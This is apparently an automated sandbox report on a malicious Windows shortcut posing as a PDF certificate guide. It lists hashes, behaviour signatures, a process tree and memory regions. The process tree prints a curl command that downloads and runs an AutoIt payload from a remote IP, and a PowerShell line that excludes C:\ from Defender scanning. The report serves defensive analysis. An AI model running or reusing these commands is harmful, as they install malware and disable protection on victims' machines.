Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230831-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230831-enlocale:en-usos:windows10-2004-x64system
  • submitted
    14/09/2023, 12:33

General

  • Target

    Security Certificate Update Guide.pdf.lnk

  • Size

    1KB

  • MD5

    3fb9fd77754aa0c99c7d7d1a71bc4216

  • SHA1

    af30bf87d826912b06b62306864eb0bb5701636e

  • SHA256

    aa82b70acc6f8acb4fefa6ca5af6cbd3b33cc18801e2d205c05d182553812309

  • SHA512

    f8ac10c231f8ffe9e1e0e7456ba718bca35fa0a0cd1e8dad9d0267549567c6861261e677c1478c62096bfe3371aa4e11bc8f34037e74b97800339f6661002b1d

Score
10/10

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 3 IoCs
  • Blocklisted process makes network request 35 IoCs
  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 4 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 16 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\backgroundTaskHost.exe
    "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:CortanaUI.AppX3bn25b6f886wmg6twh46972vprk9tnbf.mca
    1⤵
      PID:1712
      • C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
        "C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe"
        2⤵
          PID:3912
        • C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
          "C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe"
          2⤵
            PID:4936
        • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
          "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
          1⤵
            PID:3876
            • C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
              "C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe"
              2⤵
                PID:5036
            • C:\Windows\system32\cmd.exe
              cmd /c "C:\Users\Admin\AppData\Local\Temp\Security Certificate Update Guide.pdf.lnk"
              1⤵
              • Checks computer location settings
              • Suspicious use of WriteProcessMemory
              PID:4148
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /k curl -# -o "C:\Users\Admin\AppData\Local\Temp\Autoit3.exe" "http://5.188.87.58:2351" -o "C:\Users\Admin\AppData\Local\Temp\bmyzwoxl.au3" "http://5.188.87.58:2351/msibmyzwoxl" & "C:\Users\Admin\AppData\Local\Temp\Autoit3.exe" "C:\Users\Admin\AppData\Local\Temp\bmyzwoxl.au3" & exit
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:1020
                • C:\Windows\system32\curl.exe
                  curl -# -o "C:\Users\Admin\AppData\Local\Temp\Autoit3.exe" "http://5.188.87.58:2351" -o "C:\Users\Admin\AppData\Local\Temp\bmyzwoxl.au3" "http://5.188.87.58:2351/msibmyzwoxl"
                  3⤵
                    PID:1864
                  • C:\Users\Admin\AppData\Local\Temp\Autoit3.exe
                    "C:\Users\Admin\AppData\Local\Temp\Autoit3.exe" "C:\Users\Admin\AppData\Local\Temp\bmyzwoxl.au3"
                    3⤵
                    • Suspicious use of NtCreateUserProcessOtherParentProcess
                    • Executes dropped EXE
                    • Suspicious use of SetThreadContext
                    • Checks processor information in registry
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of WriteProcessMemory
                    PID:2160
                    • C:\Windows\SysWOW64\cmd.exe
                      cmd.exe
                      4⤵
                      • Suspicious use of NtCreateUserProcessOtherParentProcess
                      • Blocklisted process makes network request
                      • Drops startup file
                      • Suspicious use of SetThreadContext
                      • Checks processor information in registry
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of WriteProcessMemory
                      PID:2928
                      • C:\Windows\SysWOW64\cmd.exe
                        cmd.exe
                        5⤵
                          PID:1680
                • C:\Windows\SysWOW64\DllHost.exe
                  C:\Windows\SysWOW64\DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}
                  1⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2092
                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\'
                    2⤵
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:4376

                Network

                      MITRE ATT&CK Enterprise v15

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      • C:\ProgramData\dhbfcka\edddkga\kefaebh

                        Filesize

                        129B

                        MD5

                        95577eadc442d94cacaa6dd12e78ee5e

                        SHA1

                        bbb9331cd55c53066f4e4ee00de02f18bee9d479

                        SHA256

                        d7f75b1c71472ae2f6a636244524c978c5793b0c0d2e5f9889479bc10a65df24

                        SHA512

                        c757fbbd6de36eadb250f984f529a2ec62d37d8c61fc076a00241ea801eb9c71bfaa605ab94378381a6f7e3f0f10b5587e3ee5e6bee607dafe6c1cd43581b1cf

                      • C:\Users\Admin\AppData\Local\Temp\AutoIt3.exe

                        Filesize

                        872KB

                        MD5

                        c56b5f0201a3b3de53e561fe76912bfd

                        SHA1

                        2a4062e10a5de813f5688221dbeb3f3ff33eb417

                        SHA256

                        237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d

                        SHA512

                        195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

                      • C:\Users\Admin\AppData\Local\Temp\Autoit3.exe

                        Filesize

                        872KB

                        MD5

                        c56b5f0201a3b3de53e561fe76912bfd

                        SHA1

                        2a4062e10a5de813f5688221dbeb3f3ff33eb417

                        SHA256

                        237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d

                        SHA512

                        195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

                      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_un3amer0.fxh.ps1

                        Filesize

                        60B

                        MD5

                        d17fe0a3f47be24a6453e9ef58c94641

                        SHA1

                        6ab83620379fc69f80c0242105ddffd7d98d5d9d

                        SHA256

                        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                        SHA512

                        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                      • C:\Users\Admin\AppData\Local\Temp\bmyzwoxl.au3

                        Filesize

                        902KB

                        MD5

                        423753bd2867688d370d85ed54ca5990

                        SHA1

                        e26bdcad0b2234ceecb0f35c08b7430be14eee29

                        SHA256

                        94c4245037963f0dbc206eaaf5e8254e6bff32b6742367b1f7e639ec2645304d

                        SHA512

                        69aa2b7be672243428371bfa388e1c977e26ede33babebab342080d952c3aa146f439877c2ed291a6b4eb01adb68ab1bea9d24738aa03522038f5d95101bd22f

                      • \??\c:\temp\ehdgffb.au3

                        Filesize

                        902KB

                        MD5

                        423753bd2867688d370d85ed54ca5990

                        SHA1

                        e26bdcad0b2234ceecb0f35c08b7430be14eee29

                        SHA256

                        94c4245037963f0dbc206eaaf5e8254e6bff32b6742367b1f7e639ec2645304d

                        SHA512

                        69aa2b7be672243428371bfa388e1c977e26ede33babebab342080d952c3aa146f439877c2ed291a6b4eb01adb68ab1bea9d24738aa03522038f5d95101bd22f

                      • memory/1680-44-0x0000000000400000-0x000000000042E000-memory.dmp

                        Filesize

                        184KB

                      • memory/1680-45-0x0000000000400000-0x000000000042E000-memory.dmp

                        Filesize

                        184KB

                      • memory/1680-57-0x0000000000400000-0x000000000042E000-memory.dmp

                        Filesize

                        184KB

                      • memory/1680-46-0x0000000000400000-0x000000000042E000-memory.dmp

                        Filesize

                        184KB

                      • memory/1680-42-0x0000000000400000-0x000000000042E000-memory.dmp

                        Filesize

                        184KB

                      • memory/2160-20-0x00000000038E0000-0x00000000039D5000-memory.dmp

                        Filesize

                        980KB

                      • memory/2160-23-0x00000000041B0000-0x0000000004573000-memory.dmp

                        Filesize

                        3.8MB

                      • memory/2160-27-0x00000000041B0000-0x0000000004573000-memory.dmp

                        Filesize

                        3.8MB

                      • memory/2160-21-0x00000000041B0000-0x0000000004573000-memory.dmp

                        Filesize

                        3.8MB

                      • memory/2160-30-0x00000000041B0000-0x0000000004573000-memory.dmp

                        Filesize

                        3.8MB

                      • memory/2160-19-0x0000000000DF0000-0x00000000011F0000-memory.dmp

                        Filesize

                        4.0MB

                      • memory/2160-14-0x00000000041B0000-0x0000000004573000-memory.dmp

                        Filesize

                        3.8MB

                      • memory/2160-8-0x00000000041B0000-0x0000000004573000-memory.dmp

                        Filesize

                        3.8MB

                      • memory/2160-7-0x00000000038E0000-0x00000000039D5000-memory.dmp

                        Filesize

                        980KB

                      • memory/2160-6-0x0000000000DF0000-0x00000000011F0000-memory.dmp

                        Filesize

                        4.0MB

                      • memory/2928-50-0x0000000000400000-0x0000000000480000-memory.dmp

                        Filesize

                        512KB

                      • memory/2928-28-0x0000000000400000-0x0000000000480000-memory.dmp

                        Filesize

                        512KB

                      • memory/2928-53-0x0000000000400000-0x0000000000480000-memory.dmp

                        Filesize

                        512KB

                      • memory/2928-38-0x0000000000400000-0x0000000000480000-memory.dmp

                        Filesize

                        512KB

                      • memory/2928-37-0x0000000000400000-0x0000000000480000-memory.dmp

                        Filesize

                        512KB

                      • memory/2928-32-0x0000000000400000-0x0000000000480000-memory.dmp

                        Filesize

                        512KB

                      • memory/2928-43-0x0000000000400000-0x0000000000480000-memory.dmp

                        Filesize

                        512KB

                      • memory/2928-31-0x0000000000400000-0x0000000000480000-memory.dmp

                        Filesize

                        512KB

                      • memory/2928-29-0x0000000000400000-0x0000000000480000-memory.dmp

                        Filesize

                        512KB

                      • memory/2928-73-0x0000000000400000-0x0000000000480000-memory.dmp

                        Filesize

                        512KB

                      • memory/2928-51-0x0000000000400000-0x0000000000480000-memory.dmp

                        Filesize

                        512KB

                      • memory/2928-52-0x0000000000400000-0x0000000000480000-memory.dmp

                        Filesize

                        512KB

                      • memory/2928-54-0x0000000000400000-0x0000000000480000-memory.dmp

                        Filesize

                        512KB

                      • memory/2928-55-0x0000000000400000-0x0000000000480000-memory.dmp

                        Filesize

                        512KB

                      • memory/2928-56-0x0000000000400000-0x0000000000480000-memory.dmp

                        Filesize

                        512KB

                      • memory/3912-18-0x0000000001480000-0x0000000001481000-memory.dmp

                        Filesize

                        4KB

                      • memory/3912-17-0x0000000001300000-0x0000000001301000-memory.dmp

                        Filesize

                        4KB

                      • memory/4376-75-0x0000000005210000-0x0000000005838000-memory.dmp

                        Filesize

                        6.2MB

                      • memory/4376-197-0x00000000079F0000-0x000000000806A000-memory.dmp

                        Filesize

                        6.5MB

                      • memory/4376-70-0x0000000004BD0000-0x0000000004BE0000-memory.dmp

                        Filesize

                        64KB

                      • memory/4376-66-0x00000000739D0000-0x0000000074180000-memory.dmp

                        Filesize

                        7.7MB

                      • memory/4376-326-0x00000000739D0000-0x0000000074180000-memory.dmp

                        Filesize

                        7.7MB

                      • memory/4376-81-0x00000000739D0000-0x0000000074180000-memory.dmp

                        Filesize

                        7.7MB

                      • memory/4376-295-0x00000000076F0000-0x00000000076F8000-memory.dmp

                        Filesize

                        32KB

                      • memory/4376-90-0x00000000058F0000-0x0000000005912000-memory.dmp

                        Filesize

                        136KB

                      • memory/4376-98-0x0000000005A90000-0x0000000005AF6000-memory.dmp

                        Filesize

                        408KB

                      • memory/4376-100-0x0000000005B70000-0x0000000005BD6000-memory.dmp

                        Filesize

                        408KB

                      • memory/4376-112-0x0000000006080000-0x000000000609E000-memory.dmp

                        Filesize

                        120KB

                      • memory/4376-134-0x0000000004BD0000-0x0000000004BE0000-memory.dmp

                        Filesize

                        64KB

                      • memory/4376-159-0x000000007F5C0000-0x000000007F5D0000-memory.dmp

                        Filesize

                        64KB

                      • memory/4376-161-0x0000000007070000-0x00000000070A2000-memory.dmp

                        Filesize

                        200KB

                      • memory/4376-164-0x0000000070310000-0x000000007035C000-memory.dmp

                        Filesize

                        304KB

                      • memory/4376-174-0x0000000006640000-0x000000000665E000-memory.dmp

                        Filesize

                        120KB

                      • memory/4376-71-0x0000000004AD0000-0x0000000004B06000-memory.dmp

                        Filesize

                        216KB

                      • memory/4376-198-0x00000000073B0000-0x00000000073CA000-memory.dmp

                        Filesize

                        104KB

                      • memory/4376-205-0x0000000007420000-0x000000000742A000-memory.dmp

                        Filesize

                        40KB

                      • memory/4376-221-0x0000000007630000-0x00000000076C6000-memory.dmp

                        Filesize

                        600KB

                      • memory/4376-267-0x0000000007600000-0x000000000760E000-memory.dmp

                        Filesize

                        56KB

                      • memory/4376-287-0x0000000007710000-0x000000000772A000-memory.dmp

                        Filesize

                        104KB

                      • memory/5036-40-0x0000000000D40000-0x0000000000D41000-memory.dmp

                        Filesize

                        4KB

                      • memory/5036-41-0x0000000000EC0000-0x0000000000EC1000-memory.dmp

                        Filesize

                        4KB